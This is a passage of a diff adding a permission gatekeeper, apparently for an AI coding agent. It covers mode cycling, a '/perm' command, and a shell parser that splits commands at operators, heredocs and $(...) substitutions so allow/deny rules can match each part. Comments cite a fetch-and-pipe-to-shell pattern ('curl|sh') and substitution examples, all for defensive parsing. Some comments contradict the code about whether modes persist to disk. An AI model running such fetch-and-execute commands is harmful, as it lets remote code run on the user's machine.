+ * Read the persisted `perm-rules.json` and return its `currentMode` if it is a valid
609
+ * `PermissionLevel`. Read-only: never creates the file and never emits `ctx.ui.notify` — the
610
+ * flag-override path must not bootstrap a file (the persisted mode is per-session, not
611
+ * auto-created) or alarm the user on a malformed payload. Returns `undefined` for any failure
612
+ * mode so the caller can fall through to the next priority tier (in-memory `currentMode`)
613
+ * without a separate try/catch ladder.
614
+ */
615
+ /**
616
+ * Read `filePath` as UTF-8 text and return its contents, or `undefined` for any failure (ENOENT,
617
+ * permission denied, etc.). Encapsulates the `try { readFileSync(...) } catch { return undefined; }`
618
+ * pattern shared by {@link readCurrentModeFromDisk} — callers distinguish "no file / unreadable"
619
+ * from "file present but malformed" via a separate `JSON.parse` try/catch.
620
+ */
621
+ function safeReadFile(filePath) {
622
+ try {
623
+ return readFileSync(filePath, "utf8");
624
+ }
625
+ catch {
626
+ return undefined;
627
+ }
628
+ }
629
+ function readCurrentModeFromDisk() {
630
+ const raw = safeReadFile(getRulesPath());
631
+ if (raw === undefined)
632
+ return undefined;
633
+ try {
634
+ const parsed = JSON.parse(raw);
635
+ if (isPermissionRules(parsed) && isPermissionLevel(parsed.currentMode)) {
636
+ return parsed.currentMode;
637
+ }
638
+ }
639
+ catch {
640
+ // Malformed JSON — leave currentMode as-is (caller falls through).
641
+ }
642
+ return undefined;
643
+ }
644
+ /**
645
+ * Read and validate the `--perm-mode` CLI flag value. Returns the validated level or `undefined`
646
+ * for any failure mode (thrown `pi.getFlag`, missing `getFlag`, undefined return, or a value
647
+ * outside `VALID_MODES`). Encapsulating the try/catch + validation here keeps `applyFlagOverride`
648
+ * declarative.
649
+ */
650
+ function readPermModeFlag(pi) {
651
+ let flagValue;
652
+ try {
653
+ flagValue = pi.getFlag(PERM_MODE_FLAG_NAME);
654
+ }
655
+ catch {
656
+ // pi.getFlag threw (e.g. `pi.getFlag is not a function` when pre-registration sets it to undefined).
657
+ return undefined;
658
+ }
659
+ return isPermissionLevel(flagValue) ? flagValue : undefined;
660
+ }
661
+ /**
662
+ * Reconcile `currentMode` from the most authoritative available source, in priority order:
663
+ * 1. CLI flag (`pi.getFlag(PERM_MODE_FLAG_NAME)`) — only strict-equal values in
664
+ * {@link VALID_MODES} are accepted; anything else falls through to step 2.
665
+ * 2. Persisted `perm-rules.json` — read once via {@link readCurrentModeFromDisk}, never written.
666
+ * 3. In-memory `currentMode` — preserved when both above are unavailable.
667
+ *
668
+ * The persisted file is intentionally NOT rewritten (AC-001-03: "overrides persisted mode without
669
+ * modifying the file") so the override is per-session — the next session resumes at whatever the
670
+ * persisted mode was before this launch.
671
+ *
672
+ * The `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` registration call itself is deferred to
673
+ * TSK-001-08 (entry-point wiring) — this helper only CONSUMES the flag value, never registers it.
674
+ */
675
+ export function applyFlagOverride(pi) {
676
+ const diskMode = readCurrentModeFromDisk();
677
+ if (diskMode !== undefined) {
678
+ currentMode = diskMode;
679
+ }
680
+ const flagMode = readPermModeFlag(pi);
681
+ if (flagMode !== undefined) {
682
+ currentMode = flagMode;
683
+ }
684
+ }
685
+ /** ─── Mode Transition (TSK-001-06) ─── */
686
+ /**
687
+ * Advance the active permission level to the next entry in the cycle `low → medium → high → low`,
688
+ * persist the new `currentMode` to `~/.pi/agent/perm-rules.json`, and re-render the status indicator.
689
+ * Surface contract:
690
+ * - Mutates module-level `currentMode` per the cycle order.
691
+ * - Persists `currentMode` to the on-disk file so the next session resumes at the new level
692
+ * (AC-001-02 contract).
693
+ * - Calls `ctx.ui.setStatus("perm", MODE_LABELS[currentMode])` synchronously so FLOW-05's
694
+ * `level_change_latency_ms` ≤ 100 ms metric holds (no deferred `setTimeout`).
695
+ * - If `perm-rules.json` has not yet been bootstrapped (caller invoked the helper before
696
+ * `session_start` completed), persistence is silently skipped — the in-memory mutation and
697
+ * TUI update still fire so the cycle is always observable.
698
+ *
699
+ * Flow references: FLOW-05 Happy-Path Steps 2 + 3 (level cycles and status indicator updates).
700
+ */
701
+ export function cycleMode(ctx) {
702
+ const idx = VALID_MODES.indexOf(currentMode);
703
+ const next = VALID_MODES[(idx + 1) % VALID_MODES.length] ?? "medium";
704
+ applyModeChange(next, ctx);
705
+ }
706
+ export function setMode(value, ctx) {
707
+ if (!isPermissionLevel(value)) {
708
+ ctx.ui.notify(`unknown mode: ${value}`, "warning");
709
+ return;
710
+ }
711
+ applyModeChange(value, ctx);
712
+ }
713
+ /**
714
+ * Persist `payload` with `newMode` as its `currentMode`. Skips the write when the on-disk value
715
+ * already matches — prevents spurious disk writes on a redundant `cycleMode` after a prior
716
+ * `setMode` to the same level (acceptance criterion: "no spurious writes when the mode is
717
+ * unchanged"). Mutates `payload.currentMode` in place so any in-memory cache stays consistent
718
+ * with the persisted file — {@link applyModeChange} exploits this by passing the module-level
719
+ * `rules` cache directly when it is hot.
720
+ *
721
+ * Routes through {@link saveRules} without a `ctx` so the mode-cycle path inherits the same
722
+ * best-effort contract as the public API. A write failure is silently swallowed because the
723
+ * call chain (`applyModeChange` → in-memory mutation + TUI update) has already committed the
724
+ * user-visible side effects; the next session resumes from the last successfully persisted state.
725
+ */
726
+ /**
727
+ * Shared transition primitive for `cycleMode` and `setMode`. Mode changes are session-only —
728
+ * they update the in-memory `currentMode` and the TUI status indicator, but do NOT persist to
729
+ * disk. Each session always starts from the default level (`"medium"`, bootstrapped from
730
+ * `default-rules.json`).
731
+ *
732
+ * Side-effects of a mode change:
733
+ * 1. Mutate the module-level `currentMode` (so subsequent reads see the new value).
734
+ * 2. Re-render the TUI footer status indicator synchronously (FLOW-05's
735
+ * `level_change_latency_ms` ≤ 100 ms invariant).
736
+ */
737
+ function applyModeChange(newMode, ctx) {
738
+ currentMode = newMode;
739
+ updateStatus(ctx);
740
+ }
741
+ /** ─── Slash Command (TSK-001-07) ─── */
742
+ /**
743
+ * Stable labels for the per-line breakdown rendered by `showAllowlist`. Centralized so a future
744
+ * rename or addition (e.g. adding a `Warnings:` field) propagates from one edit to every line and the
745
+ * corresponding test grep. `as const` locks each entry to its literal string so the `.join("\n")`
746
+ * output is byte-stable across refactors.
747
+ */
748
+ const ALLOWLIST_LABELS = {
749
+ PATH: "Path",
750
+ MODE: "Mode",
751
+ DENY: "Deny",
752
+ ALLOW: "Allow",
753
+ ASK: "Ask",
754
+ };
755
+ /**
756
+ * Annotation appended to the discovery output when the persisted rules file is absent. Pinned so a
757
+ * future typo / wording change flows from one edit to the test assertions and the AC-013-03 docs.
758
+ */
759
+ const DEFAULT_RULES_IN_EFFECT_NOTE = "(default rules in effect)";
760
+ /**
761
+ * Render the current permission ruleset for the developer to inspect / copy into their editor.
762
+ * Backs the `/perm allowlist` (and `/perm list`) subcommand per FR-013.
763
+ *
764
+ * Two output paths:
765
+ * - **File missing** (first run, manual cleanup, etc.) → notify with the expected path AND the
766
+ * "default rules in effect" annotation. AC-013-03 contract: even when the file does not exist
767
+ * the developer can still copy the expected path into their editor. The cache (`rules`) is
768
+ * allowed to be null in this branch — the file-not-found check is the source of truth so the
769
+ * handler is robust against pre-`session_start` invocation.
770
+ * - **File present** → render the multi-line breakdown: resolved `Path:`, active `Mode:`, and
771
+ * the per-level `Deny:`, `Allow:`, `Ask:` arrays JSON-serialised so the developer can paste
772
+ * them straight into the file. The `Allow:` / `Ask:` labels are surfaced even when the
773
+ * arrays are empty (`[]`) so the structural tuple is unambiguous (AC-013-02).
774
+ *
775
+ * `notify` is always called at the `"info"` level — the discovery output is informational, never
776
+ * alarming. The level is pinned by the AC-013 tests.
777
+ *
778
+ * Flow references: FLOW-09 Step 1 (developer resolves the permission file path). The
779
+ * edit-and-reload half of FLOW-09 (Steps 2-3) is deferred to ISS-004.
780
+ */
781
+ export function showAllowlist(ctx) {
782
+ const path = getRulesPath();
783
+ if (!existsSync(path) || rules === null) {
784
+ // AC-013-03: expected path is in the output even when the file is missing so the developer
785
+ // can still copy it into their editor or `touch` it manually.
786
+ ctx.ui.notify(`${path}\n${DEFAULT_RULES_IN_EFFECT_NOTE}`, "info");
787
+ return;
788
+ }
789
+ const level = rules.rules[currentMode];
790
+ const rows = [
791
+ [ALLOWLIST_LABELS.PATH, path],
792
+ [ALLOWLIST_LABELS.MODE, currentMode],
793
+ [ALLOWLIST_LABELS.DENY, JSON.stringify(level?.deny ?? [])],
794
+ [ALLOWLIST_LABELS.ALLOW, JSON.stringify(level?.allow ?? [])],
795
+ [ALLOWLIST_LABELS.ASK, JSON.stringify(level?.ask ?? [])],
796
+ ];
797
+ ctx.ui.notify(rows.map(([label, value]) => `${label}: ${value}`).join("\n"), "info");
798
+ }
799
+ /**
800
+ * Prefix emitted when an unrecognised `/perm` subcommand is rejected. Centralized so the
801
+ * deny-by-default UX message stays in lock-step across the handler and the matching test
802
+ * assertion — the test reads `expect(level).toBe("warning")` and the message text together.
803
+ */
804
+ const UNKNOWN_PERM_SUBCOMMAND_PREFIX = "unknown /perm subcommand:";
805
+ /**
806
+ * Dispatch table for the `/perm` slash command. Each entry pairs the literal-set gate (from
807
+ * {@link PERM_SUBCOMMANDS}) with the action to invoke on a match. Adding a new subcommand is a
808
+ * single tuple append; reordering is a swap of two entries. The first-match-wins ordering is
809
+ * preserved by the iteration order in {@link permCommandHandler}.
810
+ */
811
+ const PERM_DISPATCH = [
812
+ { literals: PERM_SUBCOMMANDS.CYCLE, action: (_a, ctx) => cycleMode(ctx) },
813
+ { literals: PERM_SUBCOMMANDS.SET, action: (a, ctx) => setMode(a, ctx) },
814
+ { literals: PERM_SUBCOMMANDS.DISCOVERY, action: (_a, ctx) => showAllowlist(ctx) },
815
+ ];
816
+ /**
817
+ * Handler for the `/perm` slash command — the user-visible surface for FLOW-05 (mode switching)
818
+ * and FLOW-09 (manual rules discovery). The branching is strict and exhaustive:
819
+ *
820
+ * 1. Trim + lowercase the args (case-insensitive matching — accidental Shift-key capitalization
821
+ * on a developer-typed surface must not fail).
822
+ * 2. Iterate {@link PERM_DISPATCH} in declaration order; the first entry whose literal set
823
+ * contains the normalised args fires its action and returns.
824
+ * 3. If no entry matches → `ctx.ui.notify` at `"warning"` level (deny-by-default UX per
825
+ * Constitution §1.4 — silent no-ops would mask typos like `/prem` or `/permission`).
826
+ *
827
+ * Subcommand literals are co-located in {@link PERM_SUBCOMMANDS} for greppability and to make a
828
+ * future rename / new level a single-edit change.
829
+ *
830
+ * **Ownership invariant**: this function does NOT call any `pi.register*` method. Registration of
831
+ * `/perm` is owned by TSK-001-08's entry-point wiring — moving the call here would cause TSK-001-08
832
+ * to double-register and Pi/OMP to throw on the duplicate. The companion test
833
+ * `flow anchor: permCommandHandler does NOT register any ExtensionAPI surface` pins this.
834
+ */
835
+ export async function permCommandHandler(args, ctx) {
836
+ const a = args.trim().toLowerCase();
837
+ for (const { literals, action } of PERM_DISPATCH) {
838
+ if (literals.some((literal) => literal === a)) {
839
+ action(a, ctx);
840
+ return;
841
+ }
842
+ }
843
+ ctx.ui.notify(`${UNKNOWN_PERM_SUBCOMMAND_PREFIX} ${a}`, "warning");
844
+ }
845
+ /**
846
+ * Split a compound shell command string into discrete segments at unquoted operator boundaries,
847
+ * preserving operators that appear inside quoted regions (`'...'`, `"..."`), after a backslash escape
848
+ * (e.g. `\&`), or inside a heredoc body (`<<EOF ... EOF`).
849
+ *
850
+ * Phase 2 (TSK-002-02) scope — extends the Phase 1 character-walk loop with single-quote,
851
+ * double-quote, and backslash-escape state so operators inside quoted strings are preserved verbatim.
852
+ * The acceptance contract (AC-002-02): `echo "foo && bar"` → `["echo \"foo && bar\""]` — one segment
853
+ * with the operator carried inside the segment text, not split into independent subcommands.
854
+ *
855
+ * Phase 3 (TSK-002-03) scope — adds heredoc/herestring tracking so the body of `<<EOF ... EOF` is
856
+ * consumed as part of the owning segment even when the body contains unquoted `&&`, `||`, `;`, `|`.
857
+ * The acceptance contract (AC-002-03): `cat <<EOF && echo done` → `["cat <<EOF", "echo done"]` — the
858
+ * heredoc opener stays attached to `cat`, then `&&` is the next real split point, then `echo done`
859
+ * continues as the second segment. Herestrings (`<<<`) are explicitly NOT heredoc openers — the
860
+ * `<<<` body is the rest of the current line and the next unquoted pipe is a normal split
861
+ * operator (`grep <<< "hello" | wc -l` → `["grep <<< \"hello\"", "wc -l"]`).
862
+ *
863
+ * Phase 3 contracts inherited from Phase 1 + Phase 2 plus the new heredoc branches:
864
+ * - Empty input → empty array (per `prd.md:286` exception strategy).
865
+ * - Single-command input (no operators) → one-element array preserving the input verbatim.
866
+ * - Unquoted `&&`, `||`, `;`, `|` → split boundary; surrounding horizontal whitespace skipped so
867
+ * the next segment does not carry a leading space (`&& echo done` → `"echo done"`).
868
+ * - Quoted regions (`'...'`, `"..."`) are opaque to operator detection. Single quotes are literal
869
+ * inside double quotes and vice versa, per shell semantics.
870
+ * - Backslash-escapes outside quotes consume the next character literally (e.g. `\&` → `&`) and
871
+ * strip the backslash itself from the emitted segment.
872
+ * - Unterminated quotes are treated as opaque (the remainder of the string stays in the current
873
+ * segment) — conservative degradation so the classifier never sees a half-stripped surface.
874
+ * - Heredoc opener `<<EOF` (or `<<'EOF'`, `<<"EOF"`, `<<\EOF` per shell quoting rules) detected
875
+ * outside quotes activates a two-step body mode: the opener is committed to the current segment
876
+ * and the body becomes opaque to operators until the delimiter is matched. The body mode is
877
+ * armed on the first `\n` after the opener — operators on the same line as the opener
878
+ * (e.g. `cat <<EOF && echo done`) split normally.
879
+ * - Heredoc body is consumed verbatim (no quote/escape/operator processing); the delimiter is
880
+ * matched when the accumulated line equals it exactly, after which the post-heredoc content
881
+ * resumes normal parsing. Heredoc body lines that equal the delimiter terminate the body.
882
+ * - Herestrings `<<<` are NOT heredoc openers — they pass through unchanged and the inline body
883
+ * stays on the same line as the parent command (no delimiter search).
884
+ *
885
+ * Subshell redirect stripping (`cmd < $(dangerous)` → `["cmd", "dangerous"]`) and process substitution
886
+ * (`<(...)`, `>(...)`) plus backtick extraction land in TSK-002-04 and TSK-002-05. The walker is
887
+ * structured as a stateful character-by-character loop so those phases extend the state machine in
888
+ * place without changing the public signature.
889
+ *
890
+ * Flow references: FLOW-07 Step 1 (gatekeeper parses the call into discrete commands), FLOW-08 (Allow
891
+ * Always preview is keyed off the per-segment surface), FLOW-09 (manual rules match against the segment
892
+ * surface, not the raw string).
893
+ *
894
+ * OPEN_ISSUE fix (architecture.md:159-170):
895
+ * A redirect operator followed by a `$(...)` substitution MUST strip the redirect and subshell
896
+ * syntax, emitting the wrapper command (before the redirect) and the inner substitution content
897
+ * as separate segments. `cmd < $(dangerous)` MUST return `["cmd", "dangerous"]` — NOT
898
+ * `["cmd < $(dangerous)", "dangerous"]`. This is the architectural fix that unblocks
899
+ * FLOW-07 Step 1 ("expands sub-references") and FLOW-08 Step 3 (granular allowlist entries).
900
+ */
901
+ /**
902
+ * Push the current parse buffer as a segment when non-empty. Single source of truth for the
903
+ * "trim + non-empty check + push" commit primitive — used both at operator boundaries (mid-loop)
904
+ * and at end-of-input (tail). Subsequent phases (TSK-002-03..06) call this from every new operator's
905
+ * boundary branch and from each redirect-strip path so the trim policy stays uniform.
906
+ */
907
+ function commitSegment(buffer, segments) {
908
+ const trimmed = buffer.trim();
909
+ if (trimmed !== "") {
910
+ segments.push(trimmed);
911
+ }
912
+ }
913
+ /**
914
+ * Commit a substitution wrapper segment and recursively push the inner segments
915
+ * produced by {@link splitShellSegments}. Shared by the `$(...)`, backtick,
916
+ * and process-substitution branches in the parser loop to avoid duplicating
917
+ * the "commit wrapper + recurse into inner content" pattern across all three.
918
+ */
919
+ function commitSubstitution(wrapper, inner, segments) {
920
+ commitSegment(wrapper, segments);
921
+ for (const seg of splitShellSegments(inner)) {
922
+ segments.push(seg);
923
+ }
924
+ }
925
+ /**
926
+ * Operators that split one command into separate segments, in precedence order. The two-character
927
+ * forms (`&&`, `||`) are listed before their single-character prefix (`|`) so a substring match at
928
+ * position `i` consumes the longest matching operator first — otherwise `|` would consume the first
929
+ * char of `||` and leave a stray `|` in the next segment.
930
+ *
931
+ * Adding a new split operator is a single array append here plus a contract update; the parser loop
932
+ * body stays declarative. Future phases (TSK-002-03..06) extend the operator set with heredoc openings,
933
+ * subshell/process-substitution boundaries, etc.
934
+ */
935
+ const SPLIT_OPERATORS = ["&&", "||", ";", "|"];
936
+ /**
937
+ * Peek ahead from index `i` and report whether a split operator starts there. Returns `null` when
938
+ * `i` is inside a quoted region so the caller stays a pure operator-table lookup without quote-state
939
+ * branches scattered through the main loop.
940
+ */
941
+ function tryMatchOperator(input, i, inSingle, inDouble) {
942
+ if (inSingle || inDouble) {
943
+ return null;
944
+ }
945
+ for (const op of SPLIT_OPERATORS) {
946
+ if (input.startsWith(op, i)) {
947
+ return { length: op.length };
948
+ }
949
+ }
950
+ return null;
951
+ }
952
+ /**
953
+ * Advance `i` past horizontal whitespace (space, tab). Used at every operator boundary so the
954
+ * next segment does not carry a leading space — the trim policy in {@link commitSegment} is the
955
+ * last line of defense but skipping up front avoids spurious empty-segment checks inside the main
956
+ * loop.
957
+ */
958
+ function skipOperatorWhitespace(input, start) {
959
+ let i = start;
960
+ while (i < input.length && (input[i] === " " || input[i] === "\t")) {
961
+ i += 1;
962
+ }
963
+ return i;
964
+ }
965
+ /**
966
+ * Peek ahead from index `start` and report whether a heredoc delimiter starts there. Returns `null`
967
+ * when no valid delimiter is present. Caller is responsible for the surrounding `<<` vs `<<<`
968
+ * distinction — this helper only inspects the delimiter token.
969
+ *
970
+ * Accepted delimiter forms (per shell semantics):
971
+ * - Bare word: `<<EOF` — any run of `[A-Za-z0-9_]` characters, at least one.
972
+ * - Single-quoted: `<<'EOF'` — body expansion is suppressed, but the parser still closes on a
973
+ * literal-`EOF` line (the surrounding quotes are stripped from the matched delimiter).
974
+ * - Double-quoted: `<<"EOF"` — same as single-quoted for our purposes.
975
+ * - Backslash-escaped first character: `<<\EOF` — leading backslash stripped.
976
+ */
977
+ function tryMatchHeredocDelimiter(input, start) {
978
+ if (start >= input.length) {
979
+ return null;
980
+ }
981
+ let i = start;
982
+ // Quoted delimiter: <<'EOF' or <<"EOF" — strip surrounding quotes, body is literal.
983
+ const quote = input[i];
984
+ if (quote === "'" || quote === '"') {
985
+ i += 1;
986
+ const delimStart = i;
987
+ while (i < input.length && input[i] !== quote) {
988
+ i += 1;
989
+ }
990
+ if (i >= input.length) {
991
+ return null;
992
+ }
993
+ const delim = input.slice(delimStart, i);
994
+ i += 1; // skip closing quote
995
+ if (delim.length === 0) {
996
+ return null;
997
+ }
998
+ return { delimiter: delim, length: i - start };
999
+ }
1000
+ // Backslash-escaped first char: <<\EOF — strip the backslash.
1001
+ if (input[i] === "\\") {
1002
+ i += 1;
1003
+ if (i >= input.length) {
1004
+ return null;
1005
+ }
1006
+ }
1007
+ // Bare-word delimiter: <<EOF — at least one [A-Za-z0-9_] character.
1008
+ const delimStart = i;
1009
+ while (i < input.length && /[A-Za-z0-9_]/.test(input[i])) {
1010
+ i += 1;
1011
+ }
1012
+ if (i === delimStart) {
1013
+ return null;
1014
+ }
1015
+ return { delimiter: input.slice(delimStart, i), length: i - start };
1016
+ }
1017
+ /**
1018
+ * Peek ahead from index `i` and report whether a heredoc opener (`<<DELIM`) starts there. Returns
1019
+ * `null` when the position is inside a quoted region, when the opener is actually a herestring
1020
+ * (`<<<`), or when no valid delimiter follows `<<`.
1021
+ *
1022
+ * Returned `length` covers the FULL opener token (`<<DELIM`), so the caller advances `i` in one
1023
+ * step. Mirrors {@link tryMatchOperator}'s shape so the main loop's branch list stays declarative.
1024
+ */
1025
+ function tryMatchHeredocOpener(input, i, inSingle, inDouble) {
1026
+ if (inSingle || inDouble) {
1027
+ return null;
1028
+ }
1029
+ if (i + 1 >= input.length || input[i] !== "<" || input[i + 1] !== "<") {
1030
+ return null;
1031
+ }
1032
+ // Herestring `<<<` is NOT a heredoc opener — inline body stays on the same line as parent.
1033
+ if (i + 2 < input.length && input[i + 2] === "<") {
1034
+ return null;
1035
+ }
1036
+ const delim = tryMatchHeredocDelimiter(input, i + 2);
1037
+ if (delim === null) {
1038
+ return null;
1039
+ }
1040
+ return { delimiter: delim.delimiter, length: 2 + delim.length };
1041
+ }
1042
+ /**
1043
+ * Walk a heredoc body starting at `startIndex` until the delimiter is matched on its own line or
1044
+ * EOF is reached. Body text is opaque (no quote/escape/operator processing). When the delimiter
1045
+ * line is matched, the delimiter is appended to `body` so the segment surface reads
1046
+ * `cat <<EOF\n...body...\nEOF` (opener + body + closing delimiter); the surrounding newline is
1047
+ * NOT consumed — the caller re-processes it through the main loop so post-heredoc content
1048
+ * (operators, spaces, etc.) parses normally.
1049
+ *
1050
+ * Returned `body` is appended verbatim to the current segment buffer. `endIndex` is where the
1051
+ * caller resumes; `closed` is `true` when the delimiter was matched (caller clears body mode).
1052
+ */
1053
+ function consumeHeredocBody(cmd, startIndex, delimiter) {
1054
+ let i = startIndex;
1055
+ let line = "";
1056
+ let body = "";
1057
+ while (i < cmd.length) {
1058
+ const c = cmd[i];
1059
+ if (line === delimiter) {
1060
+ // Delimiter matched on its own line — append the delimiter literal and let the caller
1061
+ // re-process the surrounding newline as normal post-heredoc content.
1062
+ body += delimiter;
1063
+ return { body, endIndex: i, closed: true };
1064
+ }
1065
+ if (c === "\n") {
1066
+ body += `${line}\n`;
1067
+ line = "";
1068
+ }
1069
+ else {
1070
+ line += c;
1071
+ }
1072
+ i += 1;
1073
+ }
1074
+ // EOF: preserve the partial trailing line so the segment carries the full opaque surface.
1075
+ body += line;
1076
+ return { body, endIndex: i, closed: false };
1077
+ }
1078
+ /**
1079
+ * Locate the index of the `)` that matches the `(` at `openIndex` for a command substitution.
1080
+ * Tracks nested `$(` parens (so `$(echo $(whoami))` returns the OUTER `)`) and respects single-
1081
+ * and double-quote regions so a literal `)` inside `'...'` or `"..."` does NOT close the substitution.
1082
+ * Backtick extraction (`echo \`whoami\``) is intentionally NOT handled here — that contract lands in
1083
+ * TSK-002-05 (AC-002-05). Returns `-1` when no matching `)` is found (unterminated substitution), in
1084
+ * which case the caller falls back to literal handling and the end-of-loop commit treats the remainder
1085
+ * as a single segment per the "unmatched $(...) → single segment" edge-case contract.
1086
+ *
1087
+ * `openIndex` is the index of the OPENING `(` (i.e. `cmd.indexOf("$(", i) + 1`). The returned index is
1088
+ * that of the matching CLOSING `)` so the caller can slice `input.slice(openIndex + 1, returned)` to get
1089
+ * the inner content.
1090
+ */
1091
+ function findMatchingParen(input, openIndex) {
1092
+ let depth = 1;
1093
+ let inSingle = false;
1094
+ let inDouble = false;
1095
+ let i = openIndex + 1;
1096
+ while (i < input.length) {
1097
+ const c = input[i];
1098
+ if (inSingle) {
1099
+ if (c === "'") {
1100
+ inSingle = false;
1101
+ }
1102
+ }
1103
+ else if (inDouble) {
1104
+ if (c === '"') {
1105
+ inDouble = false;
1106
+ }
1107
+ }
1108
+ else {
1109
+ if (c === "'") {
1110
+ inSingle = true;
1111
+ }
1112
+ else if (c === '"') {
1113
+ inDouble = true;
1114
+ }
1115
+ else if (c === "$" && i + 1 < input.length && input[i + 1] === "(") {
1116
+ // Nested `$(` — depth increments so the matching `)` is the OUTER one, not the inner one.
1117
+ depth += 1;
1118
+ i += 1;
1119
+ }
1120
+ else if (c === "(") {
1121
+ depth += 1;
1122
+ }
1123
+ else if (c === ")") {
1124
+ depth -= 1;
1125
+ if (depth === 0) {
1126
+ return i;
1127
+ }
1128
+ }
1129
+ }
1130
+ i += 1;
1131
+ }
1132
+ return -1;
1133
+ }
1134
+ /**
1135
+ * Trim a trailing redirect operator (`<`, `>`, `>>`) and any preceding horizontal whitespace from
1136
+ * `buffer`. Used to clean up the wrapper segment before commit when a `$(...)` substitution follows
1137
+ * a redirect operator — the AC-002-04 fix turns `cmd <` into `cmd` so the emitted wrapper surface is
1138
+ * the bare command, not the redirect artifact.
1139
+ */
1140
+ function stripTrailingRedirect(buffer, redirectOp) {
1141
+ return buffer.trimEnd().slice(0, -redirectOp.length).trimEnd();
1142
+ }
1143
+ /**
1144
+ * Try to extract a `$(...)` command substitution at position `i`. Returns `null` when the position is
1145
+ * inside a quoted region, when `cmd[i]` is not `$` followed by `(`, or when the substitution is
1146
+ * unterminated (no matching `)`) — in which case the caller falls through to default char handling
1147
+ * and the end-of-loop commit treats the remainder as a single segment per the
1148
+ * "unmatched $(...) → single segment" edge-case contract.
1149
+ *
1150
+ * On success returns `{ inner, endIndex, wrapper }`:
1151
+ * - `inner` is the substitution body, suitable for recursive {@link splitShellSegments}.
1152
+ * - `endIndex` is where the caller should resume (one past the matching `)`).
1153
+ * - `wrapper` is the input buffer prepared for commit — already stripped of any trailing redirect
1154
+ * operator when `lastRedirectOp` is set (subshell redirect branch), or as-is when it is null
1155
+ * (inline substitution branch). `commitSegment` handles the final outer-whitespace trim.
1156
+ */
1157
+ function tryExtractCommandSubstitution(input, i, buffer, lastRedirectOp, inSingle, inDouble) {
1158
+ if (inSingle || inDouble)
1159
+ return null;
1160
+ if (input[i] !== "$" || i + 1 >= input.length || input[i + 1] !== "(")
1161
+ return null;
1162
+ const openParenIndex = i + 1;
1163
+ const closeParenIndex = findMatchingParen(input, openParenIndex);
1164
+ if (closeParenIndex === -1)
1165
+ return null;
1166
+ const inner = input.slice(openParenIndex + 1, closeParenIndex);
1167
+ const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
1168
+ return { inner, endIndex: closeParenIndex + 1, wrapper };
1169
+ }
1170
+ /**
1171
+ * Try to consume a redirect operator (`<`, `>`, `>>`) at position `i` outside quotes. Returns `null`
1172
+ * when the current character is not a redirect or when inside a quoted region. On success returns
1173
+ * the new buffer (with the operator appended), the next index, and the operator string for
1174
+ * `lastRedirectOp` tracking — a subsequent `$(...)` substitution uses this state to recognize itself
1175
+ * as a subshell redirect (AC-002-04).
1176
+ *
1177
+ * `>>` is matched before single-char `<` / `>` so a `> >` sequence is NOT collapsed into one append.
1178
+ * Heredoc opener detection (`<<`, `<<<`) runs above this helper in the parser loop, so those tokens
1179
+ * are routed to the heredoc path instead of reaching this branch.
1180
+ */
1181
+ function tryAppendRedirectOp(input, i, buffer, inSingle, inDouble) {
1182
+ if (inSingle || inDouble)
1183
+ return null;
1184
+ const c = input[i];
1185
+ if (c !== "<" && c !== ">")
1186
+ return null;
1187
+ if (c === ">" && i + 1 < input.length && input[i + 1] === ">") {
1188
+ return { buffer: `${buffer}>>`, endIndex: i + 2, lastRedirectOp: ">>" };
1189
+ }
1190
+ return { buffer: buffer + c, endIndex: i + 1, lastRedirectOp: c };
1191
+ }
1192
+ /**
1193
+ * Append `c` to `buffer` and update the redirect-tracker state. Whitespace and newlines preserve
1194
+ * `lastRedirectOp` so `cmd < $(...)` (multiple spaces between `<` and `$(`) still recognizes the
1195
+ * substitution as a subshell redirect. Any other character clears the tracker — `cmd < file.txt
1196
+ * $(more)` correctly treats `$(more)` as an INLINE substitution.
1197
+ */
1198
+ function appendChar(c, buffer, lastRedirectOp) {
1199
+ const preserves = c === " " || c === "\t" || c === "\n";
1200
+ return { buffer: buffer + c, lastRedirectOp: preserves ? lastRedirectOp : null };
1201
+ }
1202
+ /**
1203
+ * Find the matching closing backtick for a backtick command substitution (`...`).
1204
+ * Handles escaped backticks (\\`). Returns -1 when no matching backtick is found
1205
+ * (unterminated), in which case the caller should treat the remainder as a single segment.
1206
+ */
1207
+ function findMatchingBacktick(input, openIndex) {
1208
+ let i = openIndex + 1;
1209
+ while (i < input.length) {
1210
+ if (input[i] === "\\" && i + 1 < input.length) {
1211
+ i += 2; // skip escaped char
1212
+ continue;
1213
+ }
1214
+ if (input[i] === "`") {
1215
+ return i;
1216
+ }
1217
+ i += 1;
1218
+ }
1219
+ return -1;
1220
+ }
1221
+ /** ─── Command Classifier and Cascade Resolver (ISS-003) ─── */
1222
+ /**
1223
+ * The cascade walker introduced in TSK-003-02 reuses the module-level `VALID_MODES` tuple at
1224
+ * `src/gatekeeper.ts:81` as its level-order traversal array (low → medium → high for DOWN walks,
1225
+ * high → medium → low for UP walks). The tuple is the single source of truth for the level set —
1226
+ * the cascade walker MUST reference it instead of redeclaring `["low", "medium", "high"]` so a
1227
+ * future level rename propagates from one edit to every walker site.
1228
+ */
1229
+ /**
1230
+ * Convert a glob pattern (literal text with `*` wildcards) into an anchored RegExp.
1231
+ *
1232
+ * Algorithm:
1233
+ * 1. Escape every regex metacharacter in `pattern` (excluding `*`), so a pattern like
1234
+ * `curl|sh` becomes `curl\|sh` rather than being interpreted as alternation.
1235
+ * 2. Substitute the now-escaped `\*` (which originated from a literal `*` in the input)
1236
+ * with `.*`, so a single `*` matches any run of characters.
1237
+ * 3. Anchor the resulting source with `^...$` so the match is a full-string match,
1238
+ * never a substring match.
1239
+ *
1240
+ * Source anchor: `data-model.md:44-52` (literal / prefix / suffix / middle / catch-all),
1241
+ * `design.md` §"Pattern matching" decision (literal `|`, `&`, `;`, `$` are matched literally,
1242
+ * not as shell operators).
1243
+ *
1244
+ * Exported so tests can assert the regex shape directly (e.g. that the result is anchored,
1245
+ * that wildcards produce `.*`, and that regex metachars in the literal portion are escaped).
1246
+ */
1247
+ export function globToRegex(pattern) {
1248
+ const escaped = pattern.replace(/[.+?^${}()|[\]\\*]/g, "\\$&");
1249
+ const withWildcards = escaped.replace(/\\\*/g, ".*");
1250
+ return new RegExp(`^${withWildcards}$`);
1251
+ }
1252
+ /** Full-string anchored glob match (never substring); case-sensitive. Wraps {@link globToRegex}. */
1253
+ export function matchGlob(pattern, input) {
1254
+ return globToRegex(pattern).test(input);
1255
+ }
1256
+ /**
1257
+ * Public thin wrapper over {@link findFirstMatch}. Preserves the historic return shape
1258
